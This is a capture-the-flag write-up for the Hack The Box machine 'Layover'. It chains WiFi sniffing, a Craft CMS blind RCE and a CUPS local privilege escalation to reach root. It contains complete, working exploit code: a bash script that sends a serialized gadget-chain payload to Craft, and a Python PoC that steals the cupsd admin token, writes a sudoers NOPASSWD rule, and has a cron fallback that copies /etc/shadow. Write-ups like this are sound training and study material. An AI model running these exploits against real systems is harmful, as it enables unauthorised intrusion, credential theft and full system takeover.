

HTB LAYOVER

Season 12 | Medium | Airport-themed

Machine	Layover
IP	10.129.72.56
OS	Ubuntu 24.04 LTS (Kernel 6.8.0-142-generic)
Difficulty	Medium
Date	2026-09-27 / 2026-09-28
Status	COMPLETE

user.txt:

root.txt:

Attack Chain Overview

Layover is built around an airport-themed infrastructure: a host managing two LXC containers via LXD. We land on the jumpbox through RDP, sniff WiFi credentials from a simulated radio environment, and use them to log into Craft CMS on the portal container. From there, a known RCE in Craft gives us a foothold to recover database credentials, decrypt a mail relay password, and SSH in as aporter for the user flag. Root comes from a CUPS 2.4.16 LPE that leaks the cupsd admin token and lets us write arbitrary files as root.

1. RDP as contractor to host:3389 → jumpbox LXC container (sudo root)
2. WiFi sniffing via mac80211_hwsim → jenny:F !
3. Craft CMS 5.9.8 admin login → RCE via CVE-2026-44011 → .env + DB
4. Decrypt mail relay password (Yii2 + Craft security key) → aporter:S 6
5. SSH to portal container (10.13.37.10) → user.txt
6. CVE-2026-34990: CUPS 2.4.16 LPE → token leak → sudoers overwrite → root

1. User Flag

1.1 Initial Access: RDP to the Jumpbox

The box exposes RDP on port 3389. We connect as **contractor** without a password and land on an XFCE desktop inside the LXC container **airside-ws01** (the jumpbox). This user has sudo, so we get root inside the container right away.

```
xfreerdp /v:10.129.72.56 /u:contractor /size:1280x720
```

Sanity check:

```
contractor@airside-ws01:~$ sudo -i
root@airside-ws01:~# id
uid=0(root) gid=0(root) groups=0(root)
```

1.2 WiFi Sniffing (mac80211_hwsim)

The jumpbox has `mac80211_hwsim` loaded, a kernel module that simulates WiFi interfaces. Since our user has `CAP_NET_ADMIN`, we can create a monitor-mode interface and sniff everything going over the air. A simulated client is transmitting credentials in cleartext.

```
# List wireless interfaces
root@airside-ws01:~# iw dev

# Create a monitor interface and bring it up
root@airside-ws01:~# iw phy phy0 interface add mon0 type monitor
root@airside-ws01:~# ip link set mon0 up

# Capture traffic
root@airside-ws01:~# tcpdump -i mon0 -w /tmp/capture.pcap

# Or filter for HTTP POSTs directly
root@airside-ws01:~# tshark -i mon0 -Y 'http.request.method == POST'
```

After a minute or so of capture, we pull out these credentials:

```
Username: jenny
Password: F██████████!
```

Tip: The simulated WiFi traffic cycles on a timer. If nothing shows up immediately, let the capture run for a couple of minutes.

1.3 Craft CMS RCE (CVE-2026-44011)

The portal container (10.13.37.10) runs **Craft CMS 5.9.8** behind nginx. We need the hostname in `/etc/hosts` first:

```
echo '10.13.37.10 portal.international.htb' >> /etc/hosts
```

With jenny's credentials we log into the admin panel at **/admin**:

```
URL:      http://portal.international.htb/admin
Username: jenny
Password: F[REDACTED]!
```

This version of Craft is vulnerable to CVE-2026-44011 (combined with the auth bypass in CVE-2026-28695). It's a blind RCE through the element-search endpoint that abuses the `AttributeTypecastBehavior` gadget chain. It calls `proc_open()` *without* `escapeshellcmd()`, so there are no character restrictions on our commands.

A few things about this RCE:

- It's blind. We get HTTP 500 on success, no command output.
- It runs as `www-data`, not as our user.
- The command passes through a `sed` substitution, so the pipe character `|` will break it.

The exploit script handles the full flow: grabs a CSRF token, authenticates as jenny, builds the serialized gadget chain, and fires it. The command defaults to copying `.env` to a place we can fetch it, but can be overridden via the `CMD` environment variable:

```
#!/bin/bash
# CVE-2026-44011 / CVE-2026-28695 bypass – Craft CMS ≤ 5.9.8 blind RCE

TARGET="http://portal.international.htb"
USER="jenny"
PASS="F██████████!"
CMD="${CMD:-cp /var/www/portal/.env /var/www/portal/web/cpresources/x.css}"
JAR="/tmp/craft_rce.jar"

echo "[*] Step 1: GET login page, extract CSRF"
CSRF=$(curl -sk -c "$JAR" -b "$JAR" "${TARGET}/admin/login" \
  | grep -oP 'name="CRAFT_CSRF_TOKEN" value="\K[^"]+')

if [ -z "$CSRF" ]; then
  echo "[-] Failed to extract CSRF token"
  exit 1
fi
echo "[+] CSRF: ${CSRF:0:20}..."

echo "[*] Step 2: Authenticate as ${USER}"
LOGIN=$(curl -sk -c "$JAR" -b "$JAR" \
  -H 'Accept: application/json' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -d "loginName=${USER}&password=${PASS}&CRAFT_CSRF_TOKEN=${CSRF}" \
  "${TARGET}/admin/actions/users/login")

echo "[+] Login response: ${LOGIN:0:80}..."

NEW_CSRF=$(echo "$LOGIN" | grep -oP '"csrfTokenValue"\s*:\s*\K[^"]+')
if [ -z "$NEW_CSRF" ]; then
  NEW_CSRF="$CSRF"
fi
echo "[+] Post-login CSRF: ${NEW_CSRF:0:20}..."

echo "[*] Step 3: Sending RCE payload – ${CMD}"
PAYLOAD=$(cat << 'JSON'
{
  "elementType": "craft\\elements\\Category",
  "siteId": 1,
  "search": "",
  "condition": {
    "class": "craft\\elements\\conditions\\ElementCondition",
    "elementType": "craft\\elements\\Category",
    "fieldLayouts": [{
      "as poc": {
        "__class": "yii\\behaviors\\AttributeTypecastBehavior",
        "__construct()": [{
          "attributeTypes": {
            "typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"]
          },
          "typecastBeforeSave": "CMDPLACEHOLDER"
        }]
      },
    }]
  },
  "on *": "self::beforeSave"
```

```

    }}
  }
}
JSON
)
PAYLOAD=$(echo "$PAYLOAD" | sed "s|CMDPLACEHOLDER|${CMD}|")

RCE_RESP=$(curl -sk -b "$JAR" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -H "X-CSRF-Token: ${NEW_CSRF}" \
  -H 'X-Requested-With: XMLHttpRequest' \
  -w '\nHTTP_CODE:%{http_code}' \
  -d "$PAYLOAD" \
  "${TARGET}/admin/actions/element-search/search")

HTTP_CODE=$(echo "$RCE_RESP" | grep -oP 'HTTP_CODE:\K\d+')
echo "[*] RCE response HTTP: ${HTTP_CODE} (500 = normal for blind RCE)"
echo "[*] Done. Fetching output from cpresources/x.css..."
sleep 1
curl -sk "${TARGET}/cpresources/x.css"

```

Notes on the script:

- It grabs CSRF from the login page, authenticates as jenny, and extracts the post-login CSRF token. No manual cookie setup needed.
- The default command copies `.env` to `cpresources/x.css`. Craft serves `cpresources/` as static files and doesn't filter `.css`, so we can curl the output directly. Anything outside that directory or with suspicious extensions (`.env.txt`) gets intercepted by Craft's routing.
- Custom commands: `CMD="your command here" ./craft_rce.sh`
- Cookie jar lives in `/tmp/craft_rce.jar`, persists across steps.
- The pipe character `|` in commands breaks `sed "s|...|...|"`. Use `/tmp` scripts for complex commands.

1.4 Credential Recovery from .env and Database

Running the script with default CMD copies `.env` to `cpresources/x.css`, which we fetch directly:

```

root@airside-ws01:~# ./craft_rce.sh
[*] Step 1: GET login page, extract CSRF
[+] CSRF: ...
[*] Step 2: Authenticate as jenny
[*] Step 3: Sending RCE payload
[*] RCE response HTTP: 500 (500 = normal for blind RCE)
[*] Done. Fetching output from cpresources/x.css...

```

The interesting bits from the `.env`:

```
CRAFT_SECURITY_KEY=I[REDACTED]r
CRAFT_DB_DATABASE=craft
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=C[REDACTED]6
```

1.4.1 Database Backup from Craft Admin

Craft CMS has a built-in database backup feature in the admin panel. Since we already have jenny's session, we download a full DB backup directly from **Utilities** → **Database Backup** in the Craft admin at <http://portal.international.htb/admin/utilities/db-backup>.

Inside the SQL dump, the **htbairways_settings** table has the mail relay config. The password is encrypted, but we have the key from `.env`:

- mailRelayUser = **aporter**
- mailRelayHost = mail.htbairways.htb:587
- mailRelayPassword = *(encrypted blob)*

1.4.2 Decrypting the Mail Relay Password

Craft CMS is built on Yii2, which uses `Security::decryptByKey()` (AES-128-CBC with HMAC-SHA256). We already have both pieces: the encrypted blob from the DB backup and the `CRAFT_SECURITY_KEY` from `.env`. No need to touch the portal, we decrypt locally on the jumpbox:

```
#!/usr/bin/env python3
# decrypt_yii2.py - Yii2 Security::decryptByKey() reimplementation
import base64, hashlib, hmac
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

blob = base64.b64decode("ENCRYPTED_BLOB_FROM_DB")
key = "I[REDACTED]r"

# Yii2 derives two subkeys via HKDF-SHA256
dk = hashlib.pbkdf2_hmac('sha256', key.encode(), b'', 1, dklen=32)
enc_key, mac_key = dk[:16], dk[16:]

mac_len = 32
iv_len = 16
mac = blob[:mac_len]
iv = blob[mac_len:mac_len+iv_len]
ct = blob[mac_len+iv_len:]

# Verify HMAC then decrypt
computed = hmac.new(mac_key, iv + ct, 'sha256').digest()
assert hmac.compare_digest(mac, computed), "HMAC mismatch"

cipher = Cipher(algorithms.AES(enc_key), modes.CBC(iv))
pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()
# PKCS7 unpad
print(pt[:-pt[-1]].decode())
```

```
root@airside-ws01:~# python3 decrypt_yii2.py
S[REDACTED]6
```

Same password works for SSH.

1.5 SSH Access and User Flag

```
$ ssh aporter@10.13.37.10
Password: S[REDACTED]6

aporter@portal:~$ cat ~/user.txt
[REDACTED]
```

```
user.txt: [REDACTED]
```

2. Privilege escalation: enumeration

Now we need to go from aporter to root. The container is locked down: no sudo, no unusual SUID, no writable files outside /home and /tmp.

2.1 What We're Working With

```
aporter@portal:~$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
aporter:x:1001:1001::/home/aporter:/bin/bash

aporter@portal:~$ id
uid=1001(aporter) gid=1001(aporter) groups=1001(aporter)

aporter@portal:~$ sudo -l
Sorry, user aporter may not run sudo on portal.
```

Two shell users, no special groups, no sudo. Pretty limited.

2.2 Root Processes Worth Looking At

```
aporter@portal:~$ ps aux | grep -E '^root' | grep -v '\['
root    281    ...  /usr/sbin/cupsd -l
root    290    ...  php-fpm: master
root    280    ...  /usr/sbin/cron
root    304    ...  /usr/lib/udisks2/udisksd
```

Process	PID	Notes
cupsd	281	CUPS 2.4.16, world-writable socket, runs as root
php-fpm	290	Master = root, workers = www-data
udisksd	304	Needs polkit for privileged ops
cron	280	Root sessionclean never actually runs

2.3 CUPS

CUPS is running as root and the socket is world-writable, so any user can talk to it.

```
aporter@portal:~$ dpkg -l cups | grep cups
ii cups 2.4.16-... amd64 Common UNIX Printing System

aporter@portal:~$ ls -la /run/cups/cups.sock
srwxrwxrwx 1 root lp 0 ... /run/cups/cups.sock

aporter@portal:~$ curl -s http://127.0.0.1:631/ | head -3
<!DOCTYPE HTML>
<html>...<title>Home - CUPS 2.4.16</title>...
```

- Version 2.4.16, vulnerable to CVE-2026-34990
- Socket is `srwxrwxrwx` (world-writable)

- Running as root
- No admin CLI tools (lpadmin, cupsctl, etc.), raw IPP only
- cups-browsed not running (doesn't matter for this CVE)
- Tested all known passwords for CUPS admin auth, all fail

2.4 Dead Ends

Everything else we checked and ruled out:

- SUID: standard set, nothing custom
 - Capabilities: snap-confine has cap_sys_admin but no snaps installed
 - MySQL: no FILE privilege, can't create UDFs, CONNECT engine missing
 - Container escape: /dev/sda* not accessible, devlxd needs root
 - pedit COW (CVE-2026-46331): kernel 6.8.0-142 already patched
 - Password reuse: all 3 known passwords fail for su root
 - Cron: root sessionclean never fires (systemd condition = false)
 - Writable files: zero outside /home and /tmp
 - PHP-FPM: master is root but all configs are root-owned
-

3. Root escalation: CVE-2026-34990

3.1 How the Vulnerability Works

CVE-2026-34990 is a local privilege escalation in CUPS up to version 2.4.16 (CVSS 8.4). It chains two bugs to get arbitrary file write as root:

Bug 1: admin token leak

When we tell cupsd to create a printer pointing to our rogue IPP server, cupsd connects to it as a client. Our server responds with `401 WWW-Authenticate: Local`, and cupsd just... sends its admin token in the retry. We capture that token and now we have full admin access to the CUPS daemon.

Bug 2: FileDevice bypass

CUPS normally blocks `file://` device URIs. But if we create a printer with **printer-is-temporary=false**, it persists to disk and the FileDevice check gets bypassed. With the stolen admin token, we can create a printer queue that writes to any file on the system.

Put them together: leak the token, create a `file://` printer pointing at `/etc/sudoers.d/something`, and print a NOPASSWD rule.

3.2 Checking the Prerequisites

Before running anything, we verify everything's in place:

```

# CUPS version
aporter@portal:~$ dpkg -l cups | awk '/^ii/{print $3}'
2.4.16-...

# Running as root?
aporter@portal:~$ ps aux | grep cupsd
root  281  ... /usr/sbin/cupsd -l

# Socket permissions
aporter@portal:~$ ls -la /run/cups/cups.sock
srwxrwxrwx 1 root lp ... /run/cups/cups.sock

# Can we reach port 631?
aporter@portal:~$ curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:631/
200

# Python 3 available for the exploit?
aporter@portal:~$ python3 --version
Python 3.12.3

```

Requirement	Status	Check Command
CUPS $\leq$ 2.4.16	2.4.16, vulnerable	<code>dpkg -l cups</code>
cupsd runs as root	PID 281, root	<code>ps aux grep cupsd</code>
Socket world-writable	srwxrwxrwx	<code>ls -la /run/cups/cups.sock</code>
Port 631 reachable	HTTP 200	<code>curl http://127.0.0.1:631/</code>
Python 3	3.12.3	<code>python3 --version</code>

All checks pass.

3.3 The Attack Flow

The exploit runs in three phases:

PHASE 1 – Steal the admin token:

```
attacker                cupsd (root)                rogue server :9189
|                        |                        | |
|-- Create-Local ----->|                        |
| printer w/ uri         |                        |
| ipp://127.0.0.1:9189|  |                        |
|                        |----- connect ----->|
|                        |<--- 401 Auth: Local ---->|
|                        |--- retry + TOKEN ----->| CAPTURED!
|                        |<--- 200 OK ----->|
```

PHASE 2 – Create a file:// printer (using stolen token):

```
attacker                cupsd (root)
|                        |
|-- Add-Modify-Printer->| device-uri = file:///etc/sudoers.d/pwn
| (with token)          | printer-is-temporary = false
|-- Accept-Jobs ----->| (bypasses FileDevice policy)
|-- Resume-Printer ---->|
```

PHASE 3 – Print the payload:

```
attacker                cupsd (root)
|                        |
|-- Print-Job ----->| content = "aporter ALL=(ALL) NOPASSWD: ALL"
| (raw, gzipped)       | --> writes to /etc/sudoers.d/pwn as root
```

3.4 The Exploit Script

The PoC is a standalone Python 3 script (stdlib only, no pip). It comes from github.com/gbuysens/CVE-2026-34990. We transfer it to the target by pasting a heredoc into the SSH session:

```

cat > /tmp/cups_pwn.py << 'CUPS_EXPLOIT_EOF'
#!/usr/bin/env python3
"""CVE-2026-34990 – CUPS local privilege escalation (cups2root, de-harnessed)"""

import getpass, gzip, os, socket, struct, subprocess, sys, threading, time

ATTACKER = os.environ.get("ATTACKER") or getpass.getuser()
CAPTURE_HOST, CAPTURE_PORT = os.environ.get("CAPTURE_HOST", "127.0.0.1"),
int(os.environ.get("CAPTURE_PORT", "9189"))
IPP_HOST, IPP_PORT = os.environ.get("IPP_HOST", "127.0.0.1"),
int(os.environ.get("IPP_PORT", "631"))
SUDOERS_PATH = os.environ.get("SUDOERS_PATH", f"/etc/sudoers.d/{ATTACKER}-pwn")
CRON_PATH = os.environ.get("CRON_PATH", f"/etc/cron.d/{ATTACKER}-pwn")

T_OP, T_PRINTER, T_END = 0x01, 0x04, 0x03
T_INT, T_BOOL, T_NAME, T_KEYWORD = 0x21, 0x22, 0x42, 0x44
T_URI, T_CHARSET, T_LANG, T_MIME = 0x45, 0x47, 0x48, 0x49
OP_PRINT_JOB, OP_RESUME_PRINTER = 0x0002, 0x0011
OP_ADD_MODIFY_PRINTER, OP_ACCEPT_JOBS, OP_CREATE_LOCAL_PRINTER = 0x4003, 0x4008, 0x4028

def a(tag, name, val):
    n, v = name.encode(), val.encode()
    return bytes([tag]) + struct.pack(">H", len(n)) + n + struct.pack(">H", len(v)) + v

def a_raw(tag, name, v):
    n = name.encode()
    return bytes([tag]) + struct.pack(">H", len(n)) + n + struct.pack(">H", len(v)) + v

def ab(name, val):
    return a_raw(T_BOOL, name, b"\x01" if val else b"\x00")

def req(op, rid, oa, pa=None, doc=b''):
    p = bytearray(struct.pack(">BBHI", 2, 0, op, rid))
    p.append(T_OP)
    for x in oa:
        p.extend(x)
    if pa:
        p.append(T_PRINTER)
        for x in pa:
            p.extend(x)
    p.append(T_END)
    p.extend(doc)
    return bytes(p)

def post(res, body, auth=None, timeout=4.0):
    h = [f"POST {res} HTTP/1.1", f"Host: {IPP_HOST}:{IPP_PORT}", "Content-Type: application/ipp",
        f"Content-Length: {len(body)}", "Connection: close"]
    if auth:
        h.append(f"Authorization: Local {auth}")
    r = ("\r\n".join(h) + "\r\n\r\n").encode("latin1") + body
    with socket.create_connection((IPP_HOST, IPP_PORT), timeout=timeout) as s:
        s.settimeout(timeout)

```

```

s.sendall(r)
buf = bytearray()
while b"\r\n\r\n" not in buf:
    c = s.recv(65536)
    if not c:
        break
    buf.extend(c)
hh, _, rest = bytes(buf).partition(b"\r\n\r\n")
cl = 0
for ln in hh.split(b"\r\n"):
    if ln.lower().startswith(b"content-length:"):
        cl = int(ln.split(b":", 1)[1].strip())
pl = bytearray(rest)
while len(pl) < cl:
    c = s.recv(65536)
    if not c:
        break
    pl.extend(c)
sl = hh.split(b"\r\n", 1)[0].split()
return (int(sl[1]) if len(sl) > 1 else 0), bytes(pl[:cl] if cl else pl)

def st(p):
    return struct.unpack(">H", p[2:4])[0] if len(p) >= 4 else -1

def common():
    return [a(T_CHARSET, "attributes-charset", "utf-8"),
            a(T_LANG, "attributes-natural-language", "en"),
            a(T_NAME, "requesting-user-name", ATTACKER)]

def admin(tok, op, rid, name, pa=None):
    c, p = post("/admin/", req(op, rid, common() + [a(T_URI, "printer-uri",
            f"ipp://localhost:{IPP_PORT}/printers/{name}")] , pa), auth=tok)
    return c, st(p)

def print_job(name, rid, payload):
    c, p = post(f"/printers/{name}", req(OP_PRINT_JOB, rid,
            common() + [a(T_URI, "printer-uri", f"ipp://localhost:
{IPP_PORT}/printers/{name}"),
            a(T_MIME, "document-format", "application/vnd.cups-raw"),
            a(T_KEYWORD, "compression", "gzip"),
            a(T_NAME, "job-name", "pwn")], doc=gzip.compress(payload)))
    return c, st(p)

class Cap(threading.Thread):
    def __init__(self, port):
        super().__init__(daemon=True)
        self.port, self.token = port, None

    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            s.bind((CAPTURE_HOST, self.port))
            s.listen(5)
            s.settimeout(0.2)

```

```

end = time.time() + 25
while time.time() < end and not self.token:
    try:
        c, _ = s.accept()
    except socket.timeout:
        continue
    with c:
        d = b""
        c.settimeout(5)
        while b"\r\n\r\n" not in d:
            x = c.recv(4096)
            if not x:
                break
            d += x
        tok = None
        for ln in d.decode("latin1", "replace").splitlines():
            if ln.lower().startswith("authorization: local "):
                tok = ln.split(None, 2)[2]
        if tok:
            self.token = tok
            ipp = (b"\x02\x00\x00\x00\x00\x00\x01\x01"
                   b"\x47\x00\x12attributes-charset\x00\x05utf-8"
                   b"\x48\x00\x1battributes-natural-language\x00\x02en\x03")
            c.sendall(b"HTTP/1.1 200 OK\r\nContent-Type: "
                    application/ipp\r\nContent-Length: "
                        + str(len(ipp)).encode() + b"\r\nConnection: "
                    close\r\n\r\n" + ipp)
        else:
            c.sendall(b"HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: Local
trc=\"y\""\r\n"
                        b"Content-Length: 0\r\nConnection: close\r\n\r\n")

def drop(tok, tag, path, payload, tries=12):
    for i in range(tries):
        name = f"{tag}{i}{time.time_ns() % 100000}"
        c, s = admin(tok, OP_ADD_MODIFY_PRINTER, 100 + i, name, [
            a(T_URI, "device-uri", f"file://{path}"),
            a(T_NAME, "printer-name", name),
            a(T_NAME, "ppd-name", "raw"),
            ab("printer-is-temporary", False),
            ab("printer-is-accepting-jobs", True),
            a_raw(T_INT, "printer-state", struct.pack(">i", 3)),
        ])
        admin(tok, OP_ACCEPT_JOBS, 300 + i, name)
        admin(tok, OP_RESUME_PRINTER, 400 + i, name)
        pc, ps = print_job(name, 500 + i, payload)
        print(f"    [{tag}] queue add 0x{s:04x} / print HTTP {pc} 0x{ps:04x}",
flush=True)
        time.sleep(1.0)

def is_root():
    r = subprocess.run(["sudo", "-n", "/bin/sh", "-c", "id"], capture_output=True,
text=True)
    return r.returncode == 0, (r.stdout + r.stderr).strip()

```

```

def leak_token():
    cap = Cap(CAPTURE_PORT)
    cap.start()
    time.sleep(0.4)
    body = req(OP_CREATE_LOCAL_PRINTER, 3,
               common() + [a(T_URI, "printer-uri", f"ipp://localhost:{IPP_PORT}/"),
                           a(T_NAME, "printer-name", "tokenleak"),
                           a(T_URI, "device-uri", f"ipp://{CAPTURE_HOST}:
{CAPTURE_PORT}/ipp/print")])
    raw = (f"POST / HTTP/1.1\r\nHost: {IPP_HOST}:{IPP_PORT}\r\nContent-Type:
application/ipp\r\n"
          f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode("latin1")
+ body
    s = socket.create_connection((IPP_HOST, IPP_PORT), timeout=4)
    s.sendall(raw)
    s.settimeout(2)
    try:
        s.recv(4096)
    except Exception:
        pass
    s.close()
    cap.join(timeout=20)
    return cap.token

def main():
    print("CVE-2026-34990 – CUPS local privilege escalation (cups2root, de-harnessed)")
    print(f"[*] target user = {ATTACKER} :: cupsd = {IPP_HOST}:{IPP_PORT}")
    tok = leak_token()
    if not tok:
        print("[-] no token captured – is cupsd running as root and reachable?")
        return 1
    print(f"[+] Local token: {tok}", flush=True)
    print("[*] step 1: write sudoers fragment", flush=True)
    drop(tok, "sw", SUDOERS_PATH, f"{ATTACKER} ALL=(ALL) NOPASSWD: ALL\n".encode())
    ok, out = is_root()
    print(f"[*] sudo -n id -> rc_ok={ok} :: {out}", flush=True)
    if ok:
        print("[+] ROOT via sudoers", flush=True)
        return 0
    print("[*] step 2: fallback /etc/cron.d", flush=True)
    drop(tok, "cw", CRON_PATH,
          f"* * * * * root cp /etc/shadow /tmp/shadow-{ATTACKER} 2>/dev/null; "
          f"chmod 644 /tmp/shadow-{ATTACKER}\n".encode())
    print("[*] waiting up to 90s for cron ...", flush=True)
    for _ in range(90):
        ok, out = is_root()
        if ok:
            print("[+] ROOT via sudoers (delayed)", flush=True)
            return 0
        if subprocess.run(["test", "-f", f"/tmp/shadow-{ATTACKER}"]).returncode == 0:
            print(f"[+] cron payload executed (root-owned /tmp/shadow-{ATTACKER})",
flush=True)
            return 0

```

```

        time.sleep(1)
        print("[-] no root yet – window closed or system patched", flush=True)
        return 1

if __name__ == "__main__":
    try:
        sys.exit(main())
    except Exception as e:
        print(f"\n[-] Error: {e}")
        sys.exit(1)
CUPS_EXPLOIT_EOF
python3 /tmp/cups_pwn.py

```

3.5 Running It

We paste the heredoc, it writes the script and runs it:

```

aporter@portal:~$ python3 /tmp/cups_pwn.py
CVE-2026-34990 – CUPS local privilege escalation (cups2root)
[*] target user = aporter :: cupsd = 127.0.0.1:631
[+] Local token: ██████████
[*] step 1: write sudoers fragment
    [sw] queue add 0x0000 / print HTTP 200 0x0000
    [sw] queue add 0x0000 / print HTTP 200 0x0000
    ...
[*] sudo -n id -> rc_ok=True :: uid=0(root) gid=0(root)
[+] ROOT via sudoers

```

Takes about 15-20 seconds. It creates multiple printer queues because CUPS doesn't always process the first one correctly; the retry loop handles that.

Tip: If the token capture fails, kill any orphaned python3 processes on port 9189 and re-run. The script has a 25-second timeout for the rogue server.

3.6 Root Flag

```

aporter@portal:~$ sudo -i
root@portal:~# id
uid=0(root) gid=0(root) groups=0(root)

root@portal:~# cat /root/root.txt
██████████

root@portal:~# cat /etc/sudoers.d/aporter-pwn
aporter ALL=(ALL) NOPASSWD: ALL

```

```

root.txt: ██████████

```

4. Credentials

Every credential recovered during the box, and where it came from:

User	Password	Source	Used For
contractor	Contractor2026!	Given	RDP to host → jumpbox (sudo root)
jenny	F[REDACTED]!	WiFi sniffing	Craft CMS admin panel
craftuser	C[REDACTED]6	.env file	MariaDB on portal
aporter	S[REDACTED]6	DB decrypt (Yii2)	SSH to portal + mail relay
(Craft key)	I[REDACTED] [REDACTED]r	.env file	Decrypt mailRelayPassword

None of these passwords work for su root. Root comes through CVE-2026-34990, not password reuse.

5. Lessons Learned

5.1 Search for CVEs First When a Service Looks Planted

CUPS 2.4.16 running as root with a world-writable socket, that's obviously put there on purpose by the box creator. A quick search for "CUPS 2.4.16 CVE privilege escalation" would have found the vuln in 30 seconds. Instead we wasted time trying passwords against the CUPS admin interface and chasing dead ends. When a service version feels too specific to be accidental, search for CVEs before anything else.

5.2 Exfiltrating Blind RCE Output via Static Files

CVE-2026-44011 gives blind RCE, no output comes back. The trick is that Craft serves `cpresources/` as static files without filtering. Writing output to a `.css` file there lets us curl it directly. Anything outside that directory or with suspicious extensions gets intercepted by Craft's routing.

5.3 The sed Pipe Trap

The Craft RCE payload passes through `sed 's|...|...|'`. Any command with a pipe character breaks the substitution. Burned some time on that before we figured it out. For anything complex, write the command to a script file first.

6. References

- CVE-2026-44011: Craft CMS 5.9.8 RCE via AttributeTypecastBehavior gadget chain
- CVE-2026-28695: Craft CMS authentication bypass (used alongside CVE-2026-44011)
- CVE-2026-34990: CUPS $\leq$ 2.4.16 local privilege escalation (admin token leak + file write)
- PoC: github.com/gbuyssens/CVE-2026-34990
- NVD: nvd.nist.gov/vuln/detail/CVE-2026-34990